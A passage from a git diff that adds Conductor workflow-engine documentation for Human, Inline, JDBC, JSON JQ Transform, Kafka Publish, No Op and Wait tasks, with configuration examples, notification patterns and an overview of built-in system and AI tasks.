COMPLETED --output '{"data_key":"somedatatoWait1","data_key2":"somedatatoWAit2"}' +``` + +### Event handler +If SQS integration is enabled, the Human task can also be resolved using the Update Queue APIs: + +1. `POST api/queue/update/{workflowId}/{taskRefName}/{status}` +2. `POST api/queue/update/{workflowId}/task/{taskId}/{status}` + +Any parameter that is sent in the body of the POST message will be repeated as the output of the task. For example, if we send a COMPLETED message as follows: + +??? note "Using cURL" + ```bash + curl -X "POST" "{{ server_host }}{{ api_prefix }}/queue/update/{workflowId}/waiting_around_ref/COMPLETED" \ + -H 'Content-Type: application/json' \ + -d '{"data_key":"somedatatoWait1","data_key2":"somedatatoWAit2"}' + ``` + +The output of the Human task will be: + +```json +{ + "data_key":"somedatatoWait1", + "data_key2":"somedatatoWAit2" +} +``` + + +Alternatively, an [event handler](../../eventhandlers.md) using the `complete_task` action can also be configured. + +## Monitoring Human Tasks: Getting Callbacks and Notifications + +When a workflow reaches a Human task, you may want to receive a notification or callback to trigger the next action (e.g., send an email, notify a Slack channel, or trigger an external system). Here are the recommended patterns: + +### Pattern 1: Polling the Workflow Status API + +The simplest approach is to poll the workflow execution status and check for Human tasks in `IN_PROGRESS` state: + +```bash +# Get workflow execution status +curl '{{ server_host }}/api/workflow/{workflowId}' \ + -H 'accept: application/json' +``` + +Parse the response to find tasks with `taskType: "HUMAN"` and `status: "IN_PROGRESS"`. + +**Pros:** Simple to implement, no additional configuration +**Cons:** Requires polling, not real-time + +### Pattern 2: Event Handlers with Conductor Internal Events + +Conductor can publish internal events when tasks change state. You can configure an event handler to listen for these events: + +```json +{ + "name": "human_task_notification_handler", + "event": "conductor:TASK_STATUS_CHANGE", + "condition": "$.taskType == 'HUMAN' && $.status == 'IN_PROGRESS'", + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "notification_workflow", + "input": { + "workflowId": "${workflowId}", + "taskRefName": "${taskRefName}", + "taskStatus": "${status}" + } + } + } + ] +} +``` + +This triggers a notification workflow whenever a Human task enters `IN_PROGRESS` state. + +### Pattern 3: Webhook Integration via Event Task + +Add an EVENT task immediately before the Human task to send a webhook notification: + +```json +{ + "name": "notify_human_task", + "taskReferenceName": "notify_ref", + "type": "EVENT", + "sink": "kafka:human-task-notifications", + "inputParameters": { + "workflowId": "${workflow.input.workflowId}", + "taskRefName": "human_ref", + "eventType": "HUMAN_TASK_PENDING" + } +}, +{ + "name": "human_approval", + "taskReferenceName": "human_ref", + "type": "HUMAN" +} +``` + +Then configure an event handler or external consumer to process these notifications. + +### Pattern 4: Complete Task with Callback Output + +When completing the Human task, include callback information in the output: + +```bash +curl -X POST "{{ server_host }}/api/tasks" \ + -H 'Content-Type: application/json' \ + -d '{ + "taskId": "${taskId}", + "status": "COMPLETED", + "output": { + "approvedBy": "user@example.com", + "approvedAt": "2026-04-22T10:30:00Z", + "comments": "Approved for production deployment" + } + }' +``` + +The output becomes available to downstream tasks and can be used for audit trails or further notifications. + +### Pattern 5: External System Integration + +For real-time notifications, integrate with external systems: + +1. **Slack/Teams**: Use an event handler to trigger a notification workflow that posts to Slack/Teams webhooks +2. **Email**: Send email notifications via SMTP or email service APIs +3. **SMS/Push**: Integrate with Twilio, Pushover, or similar services +4. **Custom Webhooks**: POST to your internal systems when human tasks are pending + +### Best Practices + +- **Use correlation IDs**: Include `workflowId` and `taskRefName` in all notifications for easy tracking +- **Set timeouts**: Consider adding timeout logic to escalate unapproved human tasks +- **Audit trail**: Log all human task completions with timestamps and user information +- **Idempotency**: Ensure notification handlers are idempotent to handle duplicate events + +## Example: Complete Notification Flow + +```json +{ + "name": "approval_workflow", + "version": 1, + "tasks": [ + { + "name": "send_approval_request", + "taskReferenceName": "send_request_ref", + "type": "HTTP", + "inputParameters": { + "http_request": { + "method": "POST", + "url": "https://hooks.slack.com/services/xxx", + "body": { + "text": "Approval needed for workflow ${workflow.input.requestId}" + } + } + } + }, + { + "name": "wait_for_approval", + "taskReferenceName": "approval_ref", + "type": "HUMAN" + }, + { + "name": "send_approval_result", + "taskReferenceName": "send_result_ref", + "type": "HTTP", + "inputParameters": { + "http_request": { + "method": "POST", + "url": "https://hooks.slack.com/services/xxx", + "body": { + "text": "Approval ${approval_ref.output.status} by ${approval_ref.output.approvedBy}" + } + } + } + } + ] +} +``` + +This workflow: +1. Sends a Slack notification when approval is needed +2. Waits for human approval +3. Sends a follow-up notification with the approval result \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/systemtasks/index.md b/docs/documentation/configuration/workflowdef/systemtasks/index.md new file mode 100644 index 0000000..e2d34ea --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/index.md @@ -0,0 +1,88 @@ +--- +description: "Overview of built-in system tasks in Conductor — HTTP, Event, Human, Wait, Inline, Kafka Publish, JSON JQ Transform, LLM orchestration, MCP function calling, and more for durable workflow orchestration." +--- + +# System Tasks + +System tasks are built-in tasks that run on the Conductor server. They execute without external workers, allowing you to build workflows using common operations out of the box. + +## Available system tasks + +| System Task | Type | Description | +| :--- | :--- | :--- | +| [HTTP](http-task.md) | `HTTP` | Call any HTTP/REST endpoint. Supports GET, POST, PUT, DELETE with headers, body, and connection/read timeouts. | +| [Inline](inline-task.md) | `INLINE` | Execute lightweight JavaScript or Python expressions server-side using GraalJS. Useful for data transformation, validation, and simple logic. | +| [Event](event-task.md) | `EVENT` | Publish events to external systems — Kafka, NATS, NATS Streaming, AMQP (RabbitMQ), SQS, or Conductor's internal queue. | +| [Wait](wait-task.md) | `WAIT` | Pause workflow execution until a specified time, duration, or external signal. | +| [Human](human-task.md) | `HUMAN` | Wait for an external signal, typically a human approval or manual action. The task stays `IN_PROGRESS` until completed via API. | +| [Kafka Publish](kafka-publish-task.md) | `KAFKA_PUBLISH` | Publish messages directly to a Kafka topic with configurable serializers and headers. | +| [JSON JQ Transform](json-jq-transform-task.md) | `JSON_JQ_TRANSFORM` | Transform JSON data using [jq](https://jqlang.org/) expressions. Powerful for reshaping, filtering, and aggregating data. | +| [No Op](noop-task.md) | `NOOP` | Do nothing. Useful as a placeholder or to merge branches in fork/join patterns. | +| [JDBC](jdbc-task.md) | `JDBC` | Execute SQL queries and updates against relational databases (MySQL, PostgreSQL, Oracle, etc.) with connection pooling and transaction management. | + +## Operators (flow control) + +These are also system tasks but control workflow execution flow rather than performing work: + +| Operator | Type | Description | +| :--- | :--- | :--- | +| [Fork/Join](../operators/fork-task.md) | `FORK_JOIN` | Execute tasks in parallel branches, then join. | +| [Dynamic Fork](../operators/dynamic-fork-task.md) | `FORK_JOIN_DYNAMIC` | Dynamically create parallel branches at runtime. | +| [Join](../operators/join-task.md) | `JOIN` | Wait for parallel branches to complete. | +| [Switch](../operators/switch-task.md) | `SWITCH` | Conditional branching based on expressions or values. | +| [Do While](../operators/do-while-task.md) | `DO_WHILE` | Loop over tasks until a condition is met. | +| [Sub Workflow](../operators/sub-workflow-task.md) | `SUB_WORKFLOW` | Execute another workflow as a task. | +| [Start Workflow](../operators/start-workflow-task.md) | `START_WORKFLOW` | Start another workflow asynchronously (fire-and-forget). | +| [Set Variable](../operators/set-variable-task.md) | `SET_VARIABLE` | Set or update workflow-level variables. | +| [Terminate](../operators/terminate-task.md) | `TERMINATE` | Terminate the workflow with a specified status. | +| [Dynamic](../operators/dynamic-task.md) | `DYNAMIC` | Determine the task type to execute at runtime. | + +## AI & LLM tasks + +Conductor is the only open-source workflow engine with native AI system tasks. These tasks require the `ai` module to be enabled and provide direct integration with 14+ LLM providers, 3 vector databases, and MCP servers — no external frameworks or custom workers needed. + +### LLM + +| Task | Type | Description | +| :--- | :--- | :--- | +| Chat Completion | `LLM_CHAT_COMPLETE` | Multi-turn conversational AI with optional tool calling. Supports all major LLM providers. | +| Text Completion | `LLM_TEXT_COMPLETE` | Single prompt completion. | + +**Supported providers:** Anthropic (Claude), OpenAI (GPT), Azure OpenAI, Google Gemini, AWS Bedrock, Mistral, Cohere, HuggingFace, Ollama, Perplexity, Grok (xAI), StabilityAI, and more. Switch providers by changing a configuration parameter — no code changes required. + +### Embeddings & Vector Search + +| Task | Type | Description | +| :--- | :--- | :--- | +| Generate Embeddings | `LLM_GENERATE_EMBEDDINGS` | Convert text to vector embeddings. | +| Store Embeddings | `LLM_STORE_EMBEDDINGS` | Store pre-computed embeddings in a vector database. | +| Index Text | `LLM_INDEX_TEXT` | Store text with auto-generated embeddings in a vector database. | +| Search Index | `LLM_SEARCH_INDEX` | Semantic search using a text query. | +| Search Embeddings | `LLM_SEARCH_EMBEDDINGS` | Search using embedding vectors directly. | + +**Supported vector databases:** Pinecone, pgvector (PostgreSQL), and MongoDB Atlas Vector Search. These enable RAG (retrieval-augmented generation) pipelines as standard Conductor workflows. + +### Content Generation + +| Task | Type | Description | +| :--- | :--- | :--- | +| Generate Image | `GENERATE_IMAGE` | Generate images from text prompts. | +| Generate Audio | `GENERATE_AUDIO` | Text-to-speech synthesis. | +| Generate Video | `GENERATE_VIDEO` | Generate videos from text or image prompts (async). | +| Generate PDF | `GENERATE_PDF` | Convert markdown to PDF documents. | + +### MCP (Model Context Protocol) + +| Task | Type | Description | +| :--- | :--- | :--- | +| List MCP Tools | `LIST_MCP_TOOLS` | List available tools from an MCP server. | +| Call MCP Tool | `CALL_MCP_TOOL` | Execute a tool on an MCP server. | + +MCP integration enables Conductor workflows to discover and use tools from any MCP-compatible server, and to expose Conductor workflows as MCP tools for use by LLMs and AI agents. + +## Deprecated + +| Task | Replacement | +| :--- | :--- | +| Lambda | Use [Inline](inline-task.md) instead. | +| Decision | Use [Switch](../operators/switch-task.md) instead. | diff --git a/docs/documentation/configuration/workflowdef/systemtasks/inline-task.md b/docs/documentation/configuration/workflowdef/systemtasks/inline-task.md new file mode 100644 index 0000000..7291d39 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/inline-task.md @@ -0,0 +1,91 @@ +--- +description: "Inline Task — execute JavaScript expressions inside Conductor workflows for data transformation and conditional logic." +--- +# Inline Task +```json +"type": "INLINE" +``` + +The Inline task (`INLINE`) executes lightweight scripting logic inside the Conductor server JVM and immediately returns a result that can be wired into downstream tasks. + +The Inline task is best for small, deterministic logic like simple validation or calculation. For heavy, custom logic, it is best to use a Worker task (`SIMPLE`) instead. + +## Task parameters + +Use these parameters inside `inputParameters` in the Inline task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| evaluatorType | String | The type of evaluator used. Supported types: `graaljs` (recommended), `javascript`, `python`, `value-param`. | Required. | +| expression | String | The expression to be evaluated by the evaluator. The expression must return a value.

    The `graaljs` evaluator uses GraalVM JavaScript and supports modern ECMAScript. The `python` evaluator runs Python via GraalVM polyglot. The `javascript` evaluator is a legacy option. The `value-param` evaluator returns a parameter value directly. | Required. | +| inputParameters | Map[String, Any] | Any other input parameters for the Inline task. You can include any other input values required for evaluation here, which can be referenced in `expression` as `$.value`. | Optional. | + +## JSON configuration + +Here is the task configuration for an Inline task. + +```json +{ + "name": "inline", + "taskReferenceName": "inline_ref", + "type": "INLINE", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "(function(){ return $.input1 + $.input2; })()", + "input1": 1, + "input2": 2 + } +} +``` + + +## Output + +The Inline task will return the following parameters. + +| Name | Type | Description | +| ---------------- | ------------ | ------------------------------------------------------------- | +| result | Map | Contains the output returned by the evaluator based on the `expression`. | + +## Examples + +Here are some examples for using the Inline task. + +### Simple example + +``` json +{ + "name": "INLINE_TASK", + "taskReferenceName": "inline_test", + "type": "INLINE", + "inputParameters": { + "inlineValue": "${workflow.input.inlineValue}", + "evaluatorType": "javascript", + "expression": "function scriptFun(){if ($.inlineValue == 1){ return {testvalue: true} } else { return + {testvalue: false} }} scriptFun();" + } +} +``` + +The Inline task output can then be referenced in downstream tasks using the expression +`"${inline_test.output.result.testvalue}"`. + + +### Formatting data + +In this example, the Inline task is used to ensure that downstream tasks only receive weather data in Celcius. + +``` json +{ + "name": "INLINE_TASK", + "taskReferenceName": "inline_test", + "type": "INLINE", + "inputParameters": { + "scale": "${workflow.input.tempScale}", + "temperature": "${workflow.input.temperature}", + "evaluatorType": "javascript", + "expression": "function SIvaluesOnly(){if ($.scale === "F"){ centigrade = ($.temperature -32)*5/9; return {temperature: centigrade} } else { return + {temperature: $.temperature} }} SIvaluesOnly();" + } +} +``` diff --git a/docs/documentation/configuration/workflowdef/systemtasks/jdbc-task.md b/docs/documentation/configuration/workflowdef/systemtasks/jdbc-task.md new file mode 100644 index 0000000..0783d1f --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/jdbc-task.md @@ -0,0 +1,264 @@ +--- +description: "Configure JDBC tasks in Conductor to execute SQL queries and updates against relational databases. Supports SELECT, UPDATE, and parameterized queries with connection pooling." +--- + +# JDBC Task + +```json +"type" : "JDBC" +``` + +The JDBC task (`JDBC`) executes SQL statements against relational databases. It supports SELECT queries, UPDATE/INSERT/DELETE statements, parameterized queries, and transaction management with automatic rollback on failure. + +Multiple named database connections can be configured, allowing workflows to interact with different databases (MySQL, PostgreSQL, Oracle, etc.) within the same workflow. + +## Task parameters + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------ | ------------------------------------------------- | -------------------- | +| connectionId | String | The name of the configured JDBC instance to use. Must match a name from `conductor.jdbc.instances` configuration. | Required (unless `integrationName` is used). | +| integrationName | String | The name of a managed integration (multi-tenant). Used instead of `connectionId` for platform-managed connections. | Optional. | +| type | String | The SQL operation type. Supported: `SELECT`, `UPDATE`. | Required. | +| statement | String | The SQL statement to execute. Use `?` for parameterized queries. | Required. | +| parameters | List[String] | Ordered list of parameter values for `?` placeholders in the statement. | Optional. | +| expectedUpdateCount | Integer | For `UPDATE` type only. If specified, the transaction is rolled back when the actual update count doesn't match. | Optional. | +| schemaName | String | Database schema name (reserved for future use). | Optional. | + +## Configuration JSON + +### SELECT query + +```json +{ + "name": "query_users", + "taskReferenceName": "query_users_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "mysql-prod", + "type": "SELECT", + "statement": "SELECT id, name, email FROM users WHERE status = ?", + "parameters": ["active"] + } +} +``` + +### UPDATE with expected count + +```json +{ + "name": "update_order_status", + "taskReferenceName": "update_order_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "mysql-prod", + "type": "UPDATE", + "statement": "UPDATE orders SET status = ? WHERE order_id = ?", + "parameters": [ + "shipped", + "${workflow.input.orderId}" + ], + "expectedUpdateCount": 1 + } +} +``` + +## Output + +### SELECT output + +| Name | Type | Description | +| ------ | ---- | ----------- | +| result | List[Map[String, Any]] | List of rows, where each row is a map of column names to values. | + +Example output: + +```json +{ + "result": [ + {"id": 1, "name": "Alice", "email": "alice@example.com"}, + {"id": 2, "name": "Bob", "email": "bob@example.com"} + ] +} +``` + +### UPDATE output + +| Name | Type | Description | +| ------ | ---- | ----------- | +| update_count | Integer | The number of rows affected by the statement. | + +Example output: + +```json +{ + "update_count": 1 +} +``` + +## Transaction behavior + +- **SELECT** statements run with auto-commit enabled (default JDBC behavior). +- **UPDATE** statements run with auto-commit disabled. The transaction is committed on success. +- If `expectedUpdateCount` is set and the actual count doesn't match, the transaction is **automatically rolled back** and the task fails. +- If a SQL exception occurs during an UPDATE, the transaction is **automatically rolled back**. + +## Connection configuration + +JDBC connections are configured using named instances under `conductor.jdbc.instances`. + +### Quick setup + +```yaml +conductor: + jdbc: + instances: + - name: "mysql-prod" + connection: + datasourceURL: "jdbc:mysql://prod-db:3306/myapp" + jdbcDriver: "com.mysql.cj.jdbc.Driver" + user: "conductor" + password: "secret" + maximumPoolSize: 20 + + - name: "postgres-analytics" + connection: + datasourceURL: "jdbc:postgresql://analytics-db:5432/warehouse" + user: "analyst" + password: "secret" +``` + +### Connection pool options + +| Property | Type | Default | Description | +|----------|------|---------|-------------| +| `datasourceURL` | String | Required | JDBC connection URL | +| `jdbcDriver` | String | Auto-detected | JDBC driver class name | +| `user` | String | Optional | Database username | +| `password` | String | Optional | Database password | +| `maximumPoolSize` | Integer | 32 | Maximum connections in the pool | +| `minimumIdle` | Integer | 2 | Minimum idle connections | +| `idleTimeoutMs` | Long | 30000 | Idle connection timeout (ms) | +| `connectionTimeout` | Long | 30000 | Connection acquisition timeout (ms) | +| `leakDetectionThreshold` | Long | 60000 | Leak detection threshold (ms) | +| `maxLifetime` | Long | 1800000 | Maximum connection lifetime (ms) | + +## Execution + +The JDBC task completes as follows: + +- **COMPLETED**: The SQL statement executed successfully. For SELECT, results are in `output.result`. For UPDATE, the count is in `output.update_count`. +- **FAILED**: The task fails if: + - The `connectionId` doesn't match any configured instance. + - A SQL exception occurs (syntax error, constraint violation, connection timeout). + - The `expectedUpdateCount` doesn't match the actual update count (UPDATE only, triggers rollback). + +## Examples + +### Parameterized SELECT + +```json +{ + "name": "find_active_orders", + "taskReferenceName": "find_orders_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "postgres-analytics", + "type": "SELECT", + "statement": "SELECT order_id, total, created_at FROM orders WHERE customer_id = ? AND status = ? ORDER BY created_at DESC", + "parameters": [ + "${workflow.input.customerId}", + "active" + ] + } +} +``` + +### INSERT with expected count + +```json +{ + "name": "create_audit_record", + "taskReferenceName": "audit_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "mysql-prod", + "type": "UPDATE", + "statement": "INSERT INTO audit_log (action, user_id, details, created_at) VALUES (?, ?, ?, NOW())", + "parameters": [ + "${workflow.input.action}", + "${workflow.input.userId}", + "${workflow.input.details}" + ], + "expectedUpdateCount": 1 + } +} +``` + +### Chaining SELECT and UPDATE + +Use the output of a SELECT task as input to an UPDATE task: + +```json +[ + { + "name": "get_order", + "taskReferenceName": "get_order_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "mysql-prod", + "type": "SELECT", + "statement": "SELECT id, total FROM orders WHERE order_id = ?", + "parameters": ["${workflow.input.orderId}"] + } + }, + { + "name": "apply_discount", + "taskReferenceName": "apply_discount_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "mysql-prod", + "type": "UPDATE", + "statement": "UPDATE orders SET total = total * 0.9 WHERE order_id = ? AND total > 0", + "parameters": ["${workflow.input.orderId}"], + "expectedUpdateCount": 1 + } + } +] +``` + +### Using with different databases in the same workflow + +```json +[ + { + "name": "read_from_mysql", + "taskReferenceName": "mysql_read_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "mysql-prod", + "type": "SELECT", + "statement": "SELECT user_id, email FROM users WHERE user_id = ?", + "parameters": ["${workflow.input.userId}"] + } + }, + { + "name": "write_to_postgres", + "taskReferenceName": "pg_write_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "postgres-analytics", + "type": "UPDATE", + "statement": "INSERT INTO user_activity (user_id, email, event_type, event_time) VALUES (?, ?, ?, NOW())", + "parameters": [ + "${workflow.input.userId}", + "${mysql_read_ref.output.result[0].email}", + "workflow_triggered" + ], + "expectedUpdateCount": 1 + } + } +] +``` + +!!! warning "SQL injection" + Always use parameterized queries (`?` placeholders with the `parameters` list). Never concatenate user input directly into SQL statements. diff --git a/docs/documentation/configuration/workflowdef/systemtasks/json-jq-transform-task.md b/docs/documentation/configuration/workflowdef/systemtasks/json-jq-transform-task.md new file mode 100644 index 0000000..74e6864 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/json-jq-transform-task.md @@ -0,0 +1,188 @@ +--- +description: "JSON JQ Transform Task — transform and filter JSON data inside Conductor workflows using JQ expressions." +--- +# JSON JQ Transform Task +```json +"type" : "JSON_JQ_TRANSFORM" +``` + +The JSON JQ Transform task (`JSON_JQ_TRANSFORM`) processes JSON data using jq. It is useful for transforming data from one task's output into the input of another task. + +## Task parameters + +Use these parameters inside `inputParameters` in the JSON JQ Transform task configuration. + + +`queryExpression` is appended to the `inputParameters` of `JSON_JQ_TRANSFORM`, along side any other input values needed for the evaluation. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| queryExpression | String | The jq filter expression used to transform the JSON data.

    Refer to the [jq documentation](https://jqlang.org/) and the [jq manual](https://jqlang.org/manual/) for information on constructing filters. You can test expressions interactively at [jqplay.org](https://jqplay.org/). | Required. | +| inputParameters | Map[String, Any] | Contains the inputs for the jq transformation. | Required. | + +## JSON configuration + + +Here is the task configuration for a JSON JQ Transform task. + +```json +{ + "name": "json_transform", + "taskReferenceName": "json_transform_ref", + "type": "JSON_JQ_TRANSFORM", + "inputParameters": { + "persons": [ + { + "name": "some", + "last": "name", + "email": "mail@mail.com", + "id": 1 + }, + { + "name": "some2", + "last": "name2", + "email": "mail2@mail.com", + "id": 2 + } + ], + "queryExpression": ".persons | map({user:{email,id}})" + } +} +``` + +## Output + +The JSON JQ Transform task will return the following parameters. + +| Name | Type | Description | +| ---------------- | ------------ | ------------------------------------------------------------- | +| result | List[Map[String, Any]] | The first element of the `resultList` returned by the jq filter. | +| resultList | List[List[Map[String, Any]]] | A list of results returned by the jq filter. | +| error | String | An optional error message if the jq filter failed. | + + + +## Examples + +Here are some examples for using the JSON JQ Transform task. + +### Simple example + +In this example, the jq filter expression `key3: (.key1.value1 + .key2.value2)` will concatenate the two provided string arrays in `key1` and `key2` into a single array named `key3`. + +```json +{ + "name": "jq_example_task", + "taskReferenceName": "my_jq_example_task", + "type": "JSON_JQ_TRANSFORM", + "inputParameters": { + "key1": { + "value1": [ + "a", + "b" + ] + }, + "key2": { + "value2": [ + "c", + "d" + ] + }, + "queryExpression": "{ key3: (.key1.value1 + .key2.value2) }" + } +} +``` + +The above JSON JQ Transform task will provide the following output. In this case, both `resultList` and `result` are the same. + +```json +{ + "result": { + "key3": [ + "a", + "b", + "c", + "d" + ] + }, + "resultList": [ + { + "key3": [ + "a", + "b", + "c", + "d" + ] + } + ] +} +``` + +### Simplifying data + +In this example, the JSON JQ Transform task is used to simplify and extract data from an extremely dense API response. The HTTP task retrieves a list of stargazers (users who have starred a repository) from GitHub, and the response for just one user looks like this: + +``` json + +"body":[ + { + "starred_at":"2016-12-14T19:55:46Z", + "user":{ + "login":"lzehrung", + "id":924226, + "node_id":"MDQ6VXNlcjkyNDIyNg==", + "avatar_url":"https://avatars.githubusercontent.com/u/924226?v=4", + "gravatar_id":"", + "url":"https://api.github.com/users/lzehrung", + "html_url":"https://github.com/lzehrung", + "followers_url":"https://api.github.com/users/lzehrung/followers", + "following_url":"https://api.github.com/users/lzehrung/following{/other_user}", + "gists_url":"https://api.github.com/users/lzehrung/gists{/gist_id}", + "starred_url":"https://api.github.com/users/lzehrung/starred{/owner}{/repo}", + "subscriptions_url":"https://api.github.com/users/lzehrung/subscriptions", + "organizations_url":"https://api.github.com/users/lzehrung/orgs", + "repos_url":"https://api.github.com/users/lzehrung/repos", + "events_url":"https://api.github.com/users/lzehrung/events{/privacy}", + "received_events_url":"https://api.github.com/users/lzehrung/received_events", + "type":"User", + "site_admin":false + } +} +] +``` + +Since the only data required are the `starred_at` and `login` parameters for users who starred the repository after a given date (provided as a workflow input `${workflow.input.cutoff_date}`), we can use the JSON JQ Transform task to simplify the output: + +```json +{ + "name": "jq_cleanup_stars", + "taskReferenceName": "jq_cleanup_stars_ref", + "inputParameters": { + "starlist": "${hundred_stargazers_ref.output.response.body}", + "queryExpression": "[.starlist[] | select (.starred_at > \"${workflow.input.cutoff_date}\") |{occurred_at:.starred_at, member: {github: .user.login}}]" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] +} +``` + +In the above task configuration, the API response JSON is stored in the `starlist` parameter. The `queryExpression` reads the JSON, selects only entries where the `starred_at` value meets the date criteria, and generates output JSON in the following format: + +```json +{ + "occurred_at": "date from JSON", + "member":{ + "github" : "github Login from JSON" + } +} +``` + +The `queryExpression` is wrapped in `[]` to indicate that the response should be an array. \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/systemtasks/kafka-publish-task.md b/docs/documentation/configuration/workflowdef/systemtasks/kafka-publish-task.md new file mode 100644 index 0000000..21318c2 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/kafka-publish-task.md @@ -0,0 +1,54 @@ +--- +description: "Kafka Publish Task — send messages to Kafka topics from Conductor workflows with configurable serialization." +--- +# Kafka Publish Task +```json +"type" : "KAFKA_PUBLISH" +``` + +The Kafka Publish task (`KAFKA_PUBLISH`) is used to push messages to another microservice via Kafka. + +## Task parameters +The task expects a field named `kafka_request` as part of the task's `inputParameters`. + +Use these parameters inside `inputParameters` in the Kafka Publish task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| kafka_request | KafkaRequest | JSON object containing the bootstrap server, message, and more. | Required. | +| kafka_request.bootStrapServers | String | The bootstrap server for connecting to the Kafka cluster. | Required. | +| kafka_request.topic | String | The topic to publish the message to. | Required. | +| kafka_request.value | Any | The message to publish. | Required. | +| kafka_request.key | String | The Kafka message key. Messages with the same key will be sent to the same topic partition. | Optional. | +| kafka_request.keySerializer | String (enum) | The serializer used for serializing the message key. The default is `StringSerializer`. Supported values:
    • `org.apache.kafka.common.serialization.IntegerSerializer`
    • `org.apache.kafka.common.serialization.LongSerializer`
    • `org.apache.kafka.common.serialization.StringSerializer`
    | Optional. | +| kafka_request.headers | Map[String, Any] | Any additional headers to be sent along with the Kafka message. | Optional. | +| kafka_request.requestTimeoutMs | Integer | The request timeout in milliseconds while awaiting a response. | Optional. | +| kafka_request.maxBlockMs | Integer | The maximum blocking time while publishing to Kafka. | Optional. | + +## JSON configuration + +Here is the task configuration for a Kafka Publish task. + +```json +{ + "name": "kafka", + "taskReferenceName": "kafka_ref", + "inputParameters": { + "kafka_request": { + "topic": "userTopic", + "value": "Message to publish", + "bootStrapServers": "localhost:9092", + "headers": { + "x-Auth":"Auth-key" + }, + "key": "123", + "keySerializer": "org.apache.kafka.common.serialization.IntegerSerializer" + } + }, + "type": "KAFKA_PUBLISH" +} +``` + +## Output + +The task transitions to COMPLETED if the message has been successfully published to the Kafka queue, or marked as FAILED if the message could not be published. \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/systemtasks/noop-task.md b/docs/documentation/configuration/workflowdef/systemtasks/noop-task.md new file mode 100644 index 0000000..956e5ee --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/noop-task.md @@ -0,0 +1,22 @@ +--- +description: "No-Op Task — a pass-through task in Conductor workflows useful for routing, placeholder steps, and workflow testing." +--- +# No Op Task +```json +"type" : "NOOP" +``` + +The No Op task (NOOP) is a no-op task. It can be used in Switch tasks in cases where there are switch cases that require no action. + +## JSON configuration + +Here is the task configuration for a No Op task. + +```json +{ + "name": "noop", + "taskReferenceName": "noop_ref", + "inputParameters": {}, + "type": "NOOP" +} +``` \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/systemtasks/wait-task.md b/docs/documentation/configuration/workflowdef/systemtasks/wait-task.md new file mode 100644 index 0000000..9b5b564 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/wait-task.md @@ -0,0 +1,134 @@ +--- +description: "Configure Wait tasks in Conductor to pause workflow execution for a set duration or until a specific timestamp. Supports durable code execution patterns." +--- + +# Wait Task +```json +"type" : "WAIT" +``` + +The Wait task (`WAIT`) is used to pause the workflow until a certain duration or timestamp. It is a a no-op task that will remain IN_PROGRESS until the configured time has passed, at which point it will be marked as COMPLETED. + + +## Task parameters + +Use these parameters inside `inputParameters` in the Wait task configuration. You can configure the Wait task using either `duration` or `until` in `inputParameters`. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| duration | String | The wait duration in the format `x days y hours z minutes aa seconds`. The accepted units in this field are:
    • **days**, or **d** for days
    • **hours**, **hrs**, or **h** for hours
    • **minutes**, **mins**, or **m** for minutes
    • **seconds**, **secs**, or **s** for seconds
    | Required for duration wait type. | +| until | String | The datetime and timezone to wait until, in one of the following formats:
    • yyyy-MM-dd HH:mm z
    • yyyy-MM-dd HH:mm
    • yyyy-MM-dd

    For example, 2024-04-30 15:20 GMT+04:00. | Required for until wait type. | + +## JSON configuration + +Here is the task configuration for a Wait task. + +### Using `duration` + +```json +{ + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": { + "duration": "10m20s" + }, + "type": "WAIT" +} +``` + +### Using `until` + +```json +{ + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": { + "until": "2022-12-31 11:59" + }, + "type": "WAIT" +} +``` + +## Examples + +### Wait for a fixed duration + +Wait for 30 seconds before proceeding: + +```json +{ + "name": "wait_30s", + "taskReferenceName": "wait_30s_ref", + "type": "WAIT", + "inputParameters": { + "duration": "30 seconds" + } +} +``` + +Wait for 2 hours and 30 minutes: + +```json +{ + "name": "wait_2h30m", + "taskReferenceName": "wait_2h30m_ref", + "type": "WAIT", + "inputParameters": { + "duration": "2 hours 30 minutes" + } +} +``` + +### Wait until a specific date/time + +Wait until a specific timestamp: + +```json +{ + "name": "wait_until_deadline", + "taskReferenceName": "wait_deadline_ref", + "type": "WAIT", + "inputParameters": { + "until": "2025-06-15 09:00 GMT+00:00" + } +} +``` + +Wait until a date/time provided as workflow input: + +```json +{ + "name": "wait_until_input_time", + "taskReferenceName": "wait_input_ref", + "type": "WAIT", + "inputParameters": { + "until": "${workflow.input.scheduledTime}" + } +} +``` + +### Wait for an external signal (no duration) + +When no `duration` or `until` is specified, the Wait task pauses indefinitely until it is completed externally via the Task Update API or an event handler: + +```json +{ + "name": "wait_for_signal", + "taskReferenceName": "signal_ref", + "type": "WAIT" +} +``` + +Complete the task externally: + +```shell +curl -X POST 